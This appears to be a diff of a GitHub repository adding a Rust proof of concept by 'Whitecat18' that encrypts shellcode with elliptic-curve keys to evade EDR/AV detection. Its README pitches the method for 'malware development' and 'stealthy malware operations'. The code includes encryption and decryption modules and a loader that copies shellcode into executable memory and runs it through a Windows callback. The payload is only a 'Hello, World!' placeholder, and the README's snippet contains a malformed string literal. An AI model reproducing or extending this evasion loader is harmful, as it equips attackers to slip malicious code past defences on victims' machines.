(ECC) Shellcode Encryption and Decryption

This POC demonstrates the encryption of shellcode using a public key and its subsequent decryption using the corresponding private key and R_Point. making EDR/AV harder to detect.

Author: Whitecat18

Encryption Methods/ecc_shellcode_exec/Cargo.toml

@@ -0,0 +1,10 @@
+[package]
+name = "ecc_shellcode_exec"
+version = "0.1.0"
+edition = "2021"
+
+[dependencies]
+k256 = {version = "0.13.4", features = ["ecdh"]}
+rand = "0.8.5"
+sha2 = "0.10.8"
+winapi = { version = "0.3.9", features = ["winuser","setupapi","dbghelp","wlanapi","winnls","wincon","fileapi","sysinfoapi", "fibersapi","debugapi","winerror", "wininet" , "winhttp" ,"synchapi","securitybaseapi","wincrypt","psapi", "tlhelp32", "heapapi","shellapi", "memoryapi", "processthreadsapi", "errhandlingapi", "winbase", "handleapi", "synchapi"] }

Encryption Methods/ecc_shellcode_exec/README.md

@@ -0,0 +1,128 @@
+## Elliptic Curve Cryptography (ECC) Encryption and decryption.
+
+## Introduction
+
+![ECC Edit](https://github.com/nakov/Practical-Cryptography-for-Developers-Book/blob/master/.gitbook/assets/ecc-visualization-tool.png?raw=true)
+
+Elliptic Curve Cryptography (ECC), which is typically used for secure communications due to its efficiency and high security with smaller keys. 
+
+Jump to the code => [JMP](./src/main.rs)
+
+## Process of Implementation
+
+I implemented ECC in a way that could be useful for malware development by encrypting shellcode with a public key and then decrypting it using both the corresponding private key and an additional component called the R Point. This approach adds an extra layer of security, ensuring that only those with the correct private key and R Point can decrypt and execute the shellcode. 
+
+> Note: Please go through the main function where i explained function features.
+
+I generate random public and private keys then,
+
+I have converted Keys into bytes for ease of handling, then reconstruct these keys for use in encryption and decryption. The encryption process involves using the public key to encrypt the shellcode and generate an R Point, which is serialized into bytes. To decrypt, you need this R Point along with the private key, which together allow the shellcode to be recovered and executed. However, my method of executing the shellcode is basic and could potentially be detected by security software, so more sophisticated execution methods would be necessary for real-world scenarios. 
+
+This Proof of Concept shows how ECC can be adapted for stealthy malware operations by leveraging its inherent security properties.
+
+
+## Small Snippet to encrypt and decrypt Messages
+
+Write the Encrypt and decrypt function
+
+```
+// #![allow(deprecated)]
+pub use k256::{elliptic_curve::{sec1::FromEncodedPoint, AffinePoint, Field}, EncodedPoint, ProjectivePoint, Scalar, Secp256k1};
+pub use sha2::{Digest, Sha256};
+pub use rand::rngs::OsRng;
+pub use k256::elliptic_curve::group::GroupEncoding;
+pub use k256::ecdsa::VerifyingKey;
+
+fn encode_shellcode(
+    shellcode: &[u8],
+    public_key: &AffinePoint<Secp256k1>,
+) -> (EncodedPoint, Vec<u8>) {
+    let mut rng = OsRng;
+
+    // generate the ephemeral keypair
+    let k = Scalar::random(&mut rng);
+    let r = (ProjectivePoint::generator() * k).to_affine();
+
+    // compute shared secret
+    let shared_secret = *public_key * k;
+    let shared_secret_bytes = shared_secret.to_bytes();
+
+    // derive encryption key from shared secret
+    let mut hasher = Sha256::new();
+    hasher.update(shared_secret_bytes);
+    let encryption_key = hasher.finalize();
+
+    // Encrypt shellcode
+    let encrypted_shellcode: Vec<u8> = shellcode
+        .iter()
+        .zip(encryption_key.iter().cycle())
+        .map(|(&byte, &key)| byte ^ key)
+        .collect();
+
+    (EncodedPoint::from(&r), encrypted_shellcode)
+}
+
+fn decode_shellcode(
+    encrypted_shellcode: &[u8],
+    r: &EncodedPoint,
+    private_key: &Scalar,
+) -> Vec<u8> {
+    // Compute shared secret
+    let r_point = ProjectivePoint::from_encoded_point(r).expect("Invalid R point");
+    let shared_secret = r_point * private_key;
+    let shared_secret_bytes = shared_secret.to_bytes();
+
+    // derive decryption key from shared secret
+    let mut hasher = Sha256::new();
+    hasher.update(shared_secret_bytes);
+    let decryption_key = hasher.finalize();
+
+    // Decrypt shellcode
+    encrypted_shellcode
+        .iter()
+        .zip(decryption_key.iter().cycle())
+        .map(|(&byte, &key)| byte ^ key)
+        .collect()
+}
+```
+
+Write the main function for operation
+
+```
+
+fn main() {
+    // Example string => lets name it as shellcode ie (placeholder)
+    let shellcode: &[u8] = b;"Hello, World!"
+
+    // Generate ECC key pair
+    let private_key = Scalar::random(&mut OsRng);
+    let public_key = (ProjectivePoint::generator() * private_key).to_affine();
+
+    println!("Private Key: {:?}", private_key);
+    println!("Public Key: {:?}", public_key);
+
+    // Convert AffinePoint to VerifyingKey (or PublicKey)
+    VerifyingKey::from_encoded_point(&EncodedPoint::from(public_key))
+        .expect("Invalid public key");
+
+    let (r, encrypted_shellcode) = encode_shellcode(shellcode, &public_key);
+
+    println!("Encrypted Shellcode: {:?}", encrypted_shellcode);
+
+    // Decode the shellcode
+    let decrypted_shellcode = decode_shellcode(&encrypted_shellcode, &r, &private_key);
+
+    println!(
+        "Decrypted Shellcode: {:?}",
+        String::from_utf8(decrypted_shellcode).unwrap()
+    );
+}
+```
+
+## Resource Used
+
+* https://github.com/nakov/practical-cryptography-for-developers-book/blob/master/asymmetric-key-ciphers/elliptic-curve-cryptography-ecc.md
+* https://github.com/nakov/Practical-Cryptography-for-Developers-Book/blob/master/asymmetric-key-ciphers/ecc-encryption-decryption.md
+## Authors
+
+By [Smukx.E](https://x.com/5mukx)

Encryption Methods/ecc_shellcode_exec/src/algorithm_creation.rs

@@ -0,0 +1,91 @@
+/*
+    This program is a research of implementing encrypting and decrypting messages using Elliptic Curve Cryptography (ECC) using Rust.
+    Author: Smukx.E [@5mukx]
+*/
+
+// #![allow(deprecated)]
+pub use k256::{elliptic_curve::{sec1::FromEncodedPoint, AffinePoint, Field}, EncodedPoint, ProjectivePoint, Scalar, Secp256k1};
+pub use sha2::{Digest, Sha256};
+pub use rand::rngs::OsRng;
+pub use k256::elliptic_curve::group::GroupEncoding;
+pub use k256::ecdsa::VerifyingKey;
+
+fn encode_shellcode(
+    shellcode: &[u8],
+    public_key: &AffinePoint<Secp256k1>,
+) -> (EncodedPoint, Vec<u8>) {
+    let mut rng = OsRng;
+
+    // generate the ephemeral keypair
+    let k = Scalar::random(&mut rng);
+    let r = (ProjectivePoint::generator() * k).to_affine();
+
+    // compute shared secret
+    let shared_secret = *public_key * k;
+    let shared_secret_bytes = shared_secret.to_bytes();
+
+    // derive encryption key from shared secret
+    let mut hasher = Sha256::new();
+    hasher.update(shared_secret_bytes);
+    let encryption_key = hasher.finalize();
+
+    // Encrypt shellcode
+    let encrypted_shellcode: Vec<u8> = shellcode
+        .iter()
+        .zip(encryption_key.iter().cycle())
+        .map(|(&byte, &key)| byte ^ key)
+        .collect();
+
+    (EncodedPoint::from(&r), encrypted_shellcode)
+}
+
+fn decode_shellcode(
+    encrypted_shellcode: &[u8],
+    r: &EncodedPoint,
+    private_key: &Scalar,
+) -> Vec<u8> {
+    // Compute shared secret
+    let r_point = ProjectivePoint::from_encoded_point(r).expect("Invalid R point");
+    let shared_secret = r_point * private_key;
+    let shared_secret_bytes = shared_secret.to_bytes();
+
+    // derive decryption key from shared secret
+    let mut hasher = Sha256::new();
+    hasher.update(shared_secret_bytes);
+    let decryption_key = hasher.finalize();
+
+    // Decrypt shellcode
+    encrypted_shellcode
+        .iter()
+        .zip(decryption_key.iter().cycle())
+        .map(|(&byte, &key)| byte ^ key)
+        .collect()
+}
+
+fn main() {
+    // Example shellcode (placeholder)
+    let shellcode: &[u8] = b"Hello, World!";
+
+    // Generate ECC key pair
+    let private_key = Scalar::random(&mut OsRng);
+    let public_key = (ProjectivePoint::generator() * private_key).to_affine();
+
+    println!("Private Key: {:?}", private_key);
+    println!("Public Key: {:?}", public_key);
+
+    // Convert AffinePoint to VerifyingKey (or PublicKey)
+    VerifyingKey::from_encoded_point(&EncodedPoint::from(public_key))
+        .expect("Invalid public key");
+
+    let (r, encrypted_shellcode) = encode_shellcode(shellcode, &public_key);
+    
+    println!("Encrypted Shellcode: {:?}", encrypted_shellcode);
+
+    // Decode the shellcode
+    let decrypted_shellcode = decode_shellcode(&encrypted_shellcode, &r, &private_key);
+
+    println!(
+        "Decrypted Shellcode: {:?}",
+        String::from_utf8(decrypted_shellcode).unwrap()
+    );
+}

Encryption Methods/ecc_shellcode_exec/src/decryption.rs

@@ -0,0 +1,43 @@
+use k256::{elliptic_curve::sec1::FromEncodedPoint, EncodedPoint, ProjectivePoint, Scalar};
+use k256::elliptic_curve::group::GroupEncoding;
+use sha2::Digest;
+
+
+/* 
+
+    let r_point_bytes = r_point.as_bytes();
+    
+    // let encode_r_point = EncodedPoint::<Secp256k1>::from_bytes(r_point_bytes)
+    // .expect("Invalid EncodedPoint");
+*/
+
+
+pub fn decode_shellcode(
+    encrypted_shellcode: &[u8],
+    // r: &EncodedPoint,
+    r_point_bytes: &[u8],
+    private_key: &Scalar,
+) -> Vec<u8> {
+
+    // rebuild the r_point from bytes !
+
+    let r = EncodedPoint::from_bytes(r_point_bytes)
+        .expect("Invalid EncodedPoint");
+
+    // compute the shared secret key
+    let r_point = ProjectivePoint::from_encoded_point(&r).expect("Invalid R point");
+    let shared_secret = r_point * private_key;
+    let shared_secret_bytes = shared_secret.to_bytes();
+
+    // derive the decryption key from shared secret
+    let mut hasher = sha2::Sha256::new();
+    hasher.update(shared_secret_bytes);
+    let decryption_key = hasher.finalize();
+
+    // decrypt shellcode
+    encrypted_shellcode
+        .iter()
+        .zip(decryption_key.iter().cycle())
+        .map(|(&byte, &key)| byte ^ key)
+        .collect()
+}

Encryption Methods/ecc_shellcode_exec/src/encryption.rs

@@ -0,0 +1,43 @@
+use k256::{
+    elliptic_curve::{AffinePoint, Field},
+    EncodedPoint, ProjectivePoint, Scalar, Secp256k1,
+};
+
+use k256::elliptic_curve::group::GroupEncoding;
+use sha2::{Digest, Sha256};
+
+fn encode_shellcode(
+    shellcode: &[u8],
+    public_key: &AffinePoint<Secp256k1>,
+) -> (EncodedPoint, Vec<u8>) {
+    let mut rng = rand::rngs::OsRng;
+
+    let k = Scalar::random(&mut rng);
+    let r = (ProjectivePoint::generator() * k).to_affine();
+
+    let shared_secret = *public_key * k;
+    let shared_secret_bytes = shared_secret.to_bytes();
+
+    let mut hasher = Sha256::new();
+    hasher.update(shared_secret_bytes);
+    let encryption_key = hasher.finalize();
+
+    let encrypted_shellcode: Vec<u8> = shellcode
+        .iter()
+        .zip(encryption_key.iter().cycle())
+        .map(|(&byte, &key)| byte ^ key)
+        .collect();
+
+    (EncodedPoint::from(&r), encrypted_shellcode)
+}
+
+pub fn encrypt_shellcode(shellcode: &[u8], public_key: &AffinePoint<Secp256k1>) -> (EncodedPoint, Vec<u8>){
+
+    let (r, encrypted_shellcode) = encode_shellcode(shellcode, &public_key);
+
+    println!("R Point: {:?}\n\n", r);
+    println!("Encrypted Shellcode: {:?}\n", encrypted_shellcode);
+
+    (r, encrypted_shellcode)
+}
+

Encryption Methods/ecc_shellcode_exec/src/execute_shellcode.rs

@@ -0,0 +1,20 @@
+use winapi::um::{handleapi::CloseHandle, memoryapi::VirtualAlloc, winnt::{RtlMoveMemory, MEM_COMMIT, PAGE_EXECUTE_READWRITE}, winuser::{EnumDesktopsA, GetProcessWindowStation}};
+
+// THis is just an sample func to execute shellcode.. so vulnerable to EDR/AV...
+
+pub fn shell_exec(shellcode: Vec<u8>){
+    unsafe {
+        let mem = VirtualAlloc(
+            std::ptr::null_mut(),
+            shellcode.len(),
+            MEM_COMMIT,
+            PAGE_EXECUTE_READWRITE,
+        );
+        
+        if !mem.is_null() {
+            RtlMoveMemory(mem, shellcode.as_ptr() as *mut winapi::ctypes::c_void, shellcode.len());
+            EnumDesktopsA(GetProcessWindowStation(), std::mem::transmute(mem), 0);
+            CloseHandle(mem);
+        }
+    }
+}